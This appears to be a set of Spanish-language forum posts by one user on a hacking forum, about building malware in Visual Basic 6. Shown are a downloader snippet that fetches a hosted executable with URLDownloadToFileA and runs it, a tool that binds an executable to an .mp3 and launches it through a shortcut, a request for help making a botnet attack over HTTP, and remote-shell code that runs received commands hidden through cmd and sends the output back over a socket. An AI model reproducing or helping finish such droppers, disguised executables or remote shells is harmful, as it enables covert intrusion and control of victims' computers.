Mensajes

Muy bueno loco, me quedé medio confuso  , pero se ve muy bueno 

Ok era el modulo entonces 

[el archivo hosteado no se descarga a la carpeta]

Bueno sinceramente siento revivir el tema, pero es para no crear otro post.
Mi problema es el siguiente, estoy llamando a la api UrlDownloadToFileA, el modulo está declarado y todo.. como prueba tengo otra api llamada (CopyFile) que funciona correctamente.

Bueno así tengo lo de la api de UrlDownloadToFileA :

Código (vb) [Seleccionar] Expandir

 

.....

If sDown = "Si" Then
   Descargar dUrl, aCarpeta & "\Down.exe"
   Shell aCarpeta & "\Down.exe"
  End If

.....

Function Descargar(Url As String, FileName As String) As Long
Dim lRet As Long
    lRet = c.CallAPIByName("urlmon", "URLDownloadToFileA", 0, StrPtr(Url), StrPtr(FileName), 0, 0)
End Function

El problema es que el archivo hosteado no se descarga a la carpeta, los datos de las cadenas están comprobados pero sigue sin descargarse.

Alguna solución?

Saludos!

Te lo he añadido al recopilatorio de Abril Negro Lo que se supone que hace es que al ejecutar el .mp3 por consola también se ejecuta el .exe o que?

Gracias EON =)

Si, si lo ejecutas desde MsDOS leera la cabecera del ejecutable, en cambio si lo ejecuta normal leera la cabecera de un archivo de musica.

Saludos y muchas gracias! 

Bueno aqui os dejo un videotuto por si alguien no lo entiende 

[youtube=425,350]http://www.youtube.com/watch?v=TTBUbHQrbhM[/youtube]

[polifemo]

Bueno guiandome del videotuto de polifemo y recordando el post de hackdark y como no del blog de Thor, aqui he hecho una pequeña herramienta que une los archivos y crea el acceso directo, lo unico que teneis que hacer es modificar el destino del acceso directo.



Bueno lo unico que teneis que hacer despues de crear el archivo y el acceso directo es esto :



[size=150]Descargar[/size]

Saludos!  :drinking:

Gracias por contestar se agradece, Byway yo tambien hacia eso xD pero no se es medio cutre.. 

Bueno estoy realizando una botnet, y quisiera saber como atacaria desde Visual Basic me dijieron enviando una peticion HTTP desde winsock, lei algunos textos y eso no me entere mucho, alguien me puede dejar algun ejemplo mas o menos de como atacaria una Botnet?

Saludos!

Bueno quisiera saber como poner un popup sin que salga el borde del form.
Por ejemplo hagan lo siguiente :
1. Creen un nuevo proyecto exe
2. Quitenle los bordes al form
3. Y si le agregan un PopUp menu se pone SI o SI un borde en la ventana.

Alguna sugerencia o truco ? 

Nada.. sigue igual.

Código [Seleccionar] Expandir

Dim sCommand As String
sCommand = TextShell.Text
Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)

Open Environ("windir") & "KB008.txt" For Binary As #1
sCommand = Space$(LOF(1))
Get #1, , sCommand
Close #1

WS.SendData "ComandoShell|" & sCommand

Probe sin el : sCommand = TextShell.Text
Pero claramente te lo enviara en blanco.

Saludos!

Edit : KrakCar te agregue al msn por si me puedes ayudar, es que asi por el foro tardamos mucho.. Saludos!